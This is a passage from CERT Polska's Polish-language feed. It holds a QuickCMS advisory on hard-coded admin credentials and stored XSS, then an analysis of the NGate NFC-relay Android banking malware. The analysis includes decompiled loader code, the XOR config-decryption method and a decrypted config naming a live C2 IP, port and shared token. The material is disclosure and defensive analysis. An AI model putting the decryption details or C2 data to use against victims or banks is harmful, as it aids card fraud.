&lt;p&gt;Za zgłoszenie podatności dziękujemy Karolowi Czubernatowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu OpenSolution QuickCMS</title><link href="https://cert.pl/posts/2025/11/CVE-2025-9982/" rel="alternate"></link><published>2025-11-14T11:55:00+01:00</published><updated>2025-11-14T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-11-14:/posts/2025/11/CVE-2025-9982/</id><summary type="html">W oprogramowaniu OpenSolution QuickCMS wykryto 2 podatności różnego typu (CVE-2025-9982 oraz CVE-2025-10018)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu OpenSolution QuickCMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-9982"&gt;CVE-2025-9982&lt;/a&gt;: W QuickCMS w wersji 6.8 w pliku konfiguracyjnym są na stałe zapisane dane uwierzytelniające administratora w postaci jawnej. Ten błąd umożliwia atakującym, którzy mają dostęp do kodu źródłowego lub systemu plików serwera, uzyskanie danych uwierzytelniających, co może prowadzić do eskalacji uprawnień.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-10018"&gt;CVE-2025-10018&lt;/a&gt;: QuickCMS jest podatny na wiele ataków typu Stored XSS w funkcjonalności edytora języków &lt;code&gt;languages&lt;/code&gt;. Złośliwy atakujący posiadający uprawnienia administratora może wstrzyknąć dowolny kod HTML i JS do witryny, który będzie renderowany/wykonywany na każdej stronie. Domyślnie użytkownik z rolą administratora nie ma możliwości dodawania kodu JavaScript do witryny.&lt;/p&gt;
&lt;p&gt;Producent został wcześnie poinformowany o tej podatności, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatność jedynie w wersji 6.8 — inne wersje nie były testowane i również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Karolowi Czubernatowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Analiza kampanii złośliwego oprogramowania NGate (NFC relay)</title><link href="https://cert.pl/posts/2025/11/analiza-ngate/" rel="alternate"></link><published>2025-11-03T10:37:00+01:00</published><updated>2025-11-03T10:37:00+01:00</updated><author><name>Kacper Ratajczak</name></author><id>tag:cert.pl,2025-11-03:/posts/2025/11/analiza-ngate/</id><summary type="html">W ostatnich miesiącach CERT Polska zaobserwowało nowe próbki złośliwego oprogramowania mobilnego związane z atakiem NFC Relay (NGate) wymierzonym w użytkowników polskich banków.</summary><content type="html">&lt;p&gt;Zespół CERT Polska w ostatnich miesiącach zaobserwował nowe próbki mobilnego złośliwego oprogramowania powiązane z atakiem NFC Relay (NGate) wymierzonym w użytkowników polskich banków.&lt;/p&gt;
&lt;h2&gt;Podstawowe informacje&lt;/h2&gt;
&lt;p&gt;Celem ataku jest umożliwienie nieuprawnionych wypłat gotówki z bankomatów z wykorzystaniem kart płatniczych ofiar. Przestępcy nie kradną fizycznie karty - przekazują ruch NFC karty z telefonu ofiary do urządzenia przestępcy stojącego przy bankomacie.&lt;/p&gt;
&lt;h4&gt;Jak to działa?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Socjotechnika/phishing&lt;/strong&gt; - Ofiara dostaje wiadomość phishingową (e-mail/SMS) o rzekomym problemie technicznym lub incydencie bezpieczeństwa. Link prowadzi na stronę, która nakłania do instalacji aplikacji na Androida. Analizowana przez nas próbka była dystrybuowana przez &lt;code&gt;files[.]fm/u/yfwsanu886&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/2025/10/mail.png" alt="email" style="width: 30%; height: auto; display: block; margin: 0 auto;"/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Telefon od "pracownika" banku&lt;/strong&gt; - Oszust dzwoni, podając się za pracownika banku, aby „potwierdzić tożsamość” i uwiarygodnić instalację aplikacji. Użytkownik otrzymuje też SMS potwierdzający tożsamość rzekomego pracownika.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/2025/10/sms.png" alt="email" style="width: 30%; height: auto; display: block; margin: 0 auto;"/&gt;&lt;/p&gt;
&lt;p&gt;W aplikacji ofiara jest proszona o zweryfikowanie swojej karty płatniczej bezpośrednio w interfejsie. Musi przyłożyć fizyczną kartę do telefonu (NFC), a następnie wpisać PIN karty na ekranowej klawiaturze. Poniżej przykładowe zrzuty pokazujące tę technikę w wielu próbkach celujących w różne banki.&lt;/p&gt;
&lt;div style="display: flex; gap: 10px; justify-content: center; align-items: flex-start;"&gt;
    &lt;img src="https://cert.pl/uploads/2025/10/nfc.png" alt="sgb" style="width: 20%; height: auto;"/&gt;
    &lt;img src="https://cert.pl/uploads/2025/10/santander.png" alt="santander" style="width: 20%; height: auto;"/&gt;
    &lt;img src="https://cert.pl/uploads/2025/10/pko.png" alt="pko" style="width: 20%; height: auto;"/&gt;
    &lt;img src="https://cert.pl/uploads/2025/10/ing.png" alt="ing" style="width: 20%; height: auto;"/&gt;
&lt;/div&gt;

&lt;p&gt;Kiedy ofiara zbliża kartę do czytnika, aplikacja przechwytuje dane NFC karty (te same dane, które przepływają przez terminal/bankomat) i wysyła je przez Internet do urządzenia atakującego znajdującego się przy bankomacie ( lub do serwera Command&amp;amp;Control, który następnie wysyła je do urządzenia przy bankomacie). Urządzenie atakującego odtwarza te dane w bankomacie. Dzięki przekazanym danym karty i kodowi PIN atakujący wypłaca gotówkę.&lt;/p&gt;
&lt;h4&gt;Co znaleźliśmy w analizowanej próbce?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Aplikacja rejestruje się jako usługa płatnicza HCE (Host Card Emulation) w Androidzie (może zachowywać się jak wirtualna karta).&lt;/li&gt;
&lt;li&gt;Adres serwera i jego działanie są ukryte w niewielkim zaszyfrowanym pliku dołączonym do aplikacji.&lt;/li&gt;
&lt;li&gt;Odszyfrowaliśmy ten zasób i wydobyliśmy aktywny serwer c2:&lt;ul&gt;
&lt;li&gt;IP/port: &lt;code&gt;91.84.97.13:5653&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Interfejs zawiera klawiaturę PIN; PIN jest wysyłany do atakującego razem z danymi NFC.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Jak się chronić&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Zawsze pobieraj aplikacje bankowe wyłącznie z oficjalnych sklepów (Google Play Store / App Store).&lt;/li&gt;
&lt;li&gt;Jeśli dzwoni do Ciebie Twój bank i informuje, że dzieje się coś złego, rozłącz się i oddzwoń na numer banku. Ta metoda w 100% weryfikuje prawdziwość połączenia.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Analiza techniczna&lt;/h2&gt;
&lt;p&gt;Każda aplikacja na Androida zaczyna się od pliku &lt;code&gt;AndroidManifest.xml&lt;/code&gt;. Definiuje on komponenty aplikacji, w tym działania, usługi i uprawnienia. W kontekście analizy kluczową informacją jest ustalenie punktu startowego aplikacji:&lt;/p&gt;
&lt;h4&gt;Manifest:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;punkt startowy&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;activity&lt;/span&gt;
    &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;rha.dev.p031me.SuperMain&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:launchMode=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;singleTask&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:screenOrientation=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;portrait&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:configChanges=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;screenSize|screenLayout|orientation|keyboardHidden&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;intent-filter&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.action.MAIN&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;category&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.category.DEFAULT&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;category&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.category.LAUNCHER&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/intent-filter&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/activity&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;uprawnienia&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.NFC&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:required=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.ACCESS_NETWORK_STATE&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:required=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.INTERNET&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:required=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;usługa HCE &lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;service&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;rha.dev.me.nfc.hce.ApduService&amp;quot;&lt;/span&gt;
         &lt;span class="na"&gt;android:permission=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.BIND_NFC_SERVICE&amp;quot;&lt;/span&gt;
         &lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;intent-filter&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.nfc.cardemulation.action.HOST_APDU_SERVICE&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;category&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.category.DEFAULT&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/intent-filter&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;meta-data&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.nfc.cardemulation.host_apdu_service&amp;quot;&lt;/span&gt;
             &lt;span class="na"&gt;android:resource=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@xml/hce&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/service&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;Przykładowa deklaracja AID (skrócona):&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;host-apdu-service&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;aid-group&lt;/span&gt; &lt;span class="na"&gt;android:category=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;payment&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:description=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@string/app_name&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;aid-filter&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;F001020304050607&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/aid-group&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/host-apdu-service&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Wniosek: Aplikacja może zostać skonfigurowana jako usługa płatnicza HCE i będzie wywoływana przez stos NFC podczas komunikacji z terminalem/czytnikiem.&lt;/p&gt;
&lt;h4&gt;Start procesu&lt;/h4&gt;
&lt;p&gt;Po zainstalowaniu pliku APK i uruchomieniu procesu (np. po wybudzeniu go przez program uruchamiający/alias lub usługę) strona Java uruchamia natywną bibliotekę pomocniczą, która ładuje i weryfikuje konfigurację środowiska uruchomieniowego. Punktem wejścia do niej jest klasa &lt;code&gt;rha.dev.me.util.Globals&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadLibrary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;app&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;//libapp.so&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cm"&gt;/* renamed from: a */&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;m29a&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Intent&lt;/span&gt; &lt;span class="n"&gt;intent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.action.MAIN&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addCategory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.category.LAUNCHER&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ResolveInfo&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;queryIntentActivities&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f476b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPackageManager&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;queryIntentActivities&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;packageName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f476b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPackageName&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ResolveInfo&lt;/span&gt; &lt;span class="n"&gt;resolveInfo&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;queryIntentActivities&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resolveInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;activityInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;packageName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packageName&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resolveInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;activityInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;rha.dev.me.SuperMain&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cm"&gt;/* renamed from: b */&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;m28b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;f476b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;loadNConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAssets&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;native&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;native&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;loadNConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AssetManager&lt;/span&gt; &lt;span class="n"&gt;assetManager&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;native&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;native&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;vts&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Podstawowa logika aplikacji jest inicjowana przez &lt;code&gt;System.loadLibrary(„app”);&lt;/code&gt;, które ładuje &lt;code&gt;libapp.so&lt;/code&gt; do procesu. Ten natywny obiekt odpowiada za kluczowe etapy: najpierw &lt;strong&gt;wyprowadza 32-bajtowy klucz&lt;/strong&gt; z &lt;strong&gt;SHA-256 certyfikatu podpisującego APK&lt;/strong&gt; (DER). Za pomocą tego klucza odszyfrowuje on hex blob pobrany z zasobu &lt;code&gt;assets/____&lt;/code&gt; aplikacji. Kolejny krok polega na analizowaniu par tekstowych klucz-wartość z tych odszyfrowanych danych i kompilowaniu ich do wewnętrznej mapy konfiguracyjnej.&lt;/p&gt;
&lt;p&gt;Warto zauważyć, że kod implementuje mechanizm obronny: w przypadku niepowodzenia odszyfrowania lub analizy biblioteka wykonuje wywołanie zwrotne do języka Java w celu wyłączenia programu uruchamiającego - zachowanie to znane jest jako &lt;strong&gt;wzorzec&lt;/strong&gt; &lt;code&gt;safeExit()&lt;/code&gt;. Konfiguracja jest uruchamiana przez metodę Java &lt;code&gt;m28b(Context)&lt;/code&gt;. Metoda ta najpierw wywołuje natywną metodę &lt;code&gt;init(context)&lt;/code&gt; w celu skonfigurowania podstawowego stanu współdzielonego, logowania i wewnętrznych zmiennych lokalnych wątku, a następnie wywołuje natywną metodę &lt;code&gt;loadNConfig(context, context.getAssets())&lt;/code&gt; w celu rozpoczęcia procesu odszyfrowywania. W większości kompilacji &lt;code&gt;m28b&lt;/code&gt; jest wywoływana bardzo wcześnie - albo z &lt;code&gt;Application.onCreate()&lt;/code&gt;, albo z pierwszej &lt;code&gt;Activity.onCreate()&lt;/code&gt; - aby zapewnić gotowość niezbędnego gniazda komunikacyjnego w momencie wyświetlenia monitu „zweryfikuj kartę”. &lt;/p&gt;
&lt;p&gt;Ponadto natywne flagi boolowskie &lt;code&gt;reader()&lt;/code&gt; i &lt;code&gt;vts()&lt;/code&gt; ujawniają bity konfiguracyjne (np. &lt;code&gt;reader:=true&lt;/code&gt;, &lt;code&gt;mode:=card&lt;/code&gt;), umożliwiając warstwie Java dynamiczne określenie, które metody transportu i &lt;strong&gt;role NFC&lt;/strong&gt; należy aktywować.&lt;/p&gt;
&lt;h4&gt;Natywny moduł ładujący konfigurację (libapp.so) do C2 w postaci zwykłego tekstu&lt;/h4&gt;
&lt;p&gt;Istotne są dwa elementy natywne: wyprowadzanie klucza i moduł ładujący konfigurację.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wyprowadzanie klucza (JNI → SHA-256 certyfikatu podpisu):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Zdekompilowana funkcja &lt;code&gt;get_cert_sha(JNIEnv*, unsigned char* out)&lt;/code&gt; definiuje proces wyprowadzania klucza. Rozpoczyna się ona wywołaniem funkcji &lt;code&gt;PackageManager.getPackageInfo(..., GET_SIGNATURES)&lt;/code&gt;. Następnie odczytuje &lt;code&gt;Signature.toByteArray()&lt;/code&gt; i opakowuje wynik za pomocą &lt;code&gt;CertificateFactory(„X.509”).generateCertificate(InputStream)&lt;/code&gt;. Następnie wywołuje funkcję &lt;code&gt;cert.getEncoded()&lt;/code&gt; i oblicza skrót za pomocą &lt;code&gt;MessageDigest(„SHA-256”).digest(encodedCert)&lt;/code&gt;. Na koniec kopiuje wynikowe 32 bajty do &lt;code&gt;out&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wniosek&lt;/strong&gt;: klucz XOR jest dokładnie taki sam jak SHA-256 certyfikatu podpisu aplikacji (DER).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dekryptowanie i parsowanie konfiguracji&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;AAssetManager_open("____", AASSET_MODE_BUFFER)&lt;/code&gt; - ładuje &lt;strong&gt;ASCII-hex&lt;/strong&gt; blob z &lt;code&gt;assets/____&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hexToBytes()&lt;/code&gt; - zamiana na ciphertext binarny.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;deszyfrowywanie XOR&lt;/strong&gt; bajt po bajcie przy użyciu 32-bajtowego klucza (powtarzającego się co 32 bajty):
 &lt;code&gt;c
 for (i = 0; i &amp;lt; len; i++) pt[i] = ct[i] ^ key[i &amp;amp; 31];&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Parsuje tekst jawny linia po linii za pomocą &lt;code&gt;getline&lt;/code&gt;; każda linia musi mieć postać &lt;code&gt;key := value&lt;/code&gt;; każda para jest wstawiana do &lt;code&gt;configMap&lt;/code&gt; i rejestrowana:
 &lt;code&gt;c
 I/AppCheck: Parsed host := 91.84.97.13&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;verifyCnf(env)&lt;/code&gt;; jeśli coś się nie powiedzie → wywołaj Java &lt;code&gt;safeExit()&lt;/code&gt; (co wyłącza program uruchamiający).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Odszyfrowana konfiguracja dla analizowanej próbki::&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;host:=91.84.97.13&lt;/span&gt;
&lt;span class="c"&gt;port:=5653&lt;/span&gt;
&lt;span class="c"&gt;sharedToken:=c2458bfc-9cb4-4998-b814-d3686b0fe088&lt;/span&gt;
&lt;span class="c"&gt;tls:=false&lt;/span&gt;
&lt;span class="c"&gt;mode:=card&lt;/span&gt;
&lt;span class="c"&gt;reader:=true&lt;/span&gt;
&lt;span class="c"&gt;uniqueID:=395406&lt;/span&gt;
&lt;span class="c"&gt;ttd:=1761668025&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Reprodukcja offline&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;#apksigner verify --print-certs SGB.apk&lt;/span&gt;
&lt;span class="c1"&gt;#Signer #1 certificate SHA-256 digest: b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709&lt;/span&gt;

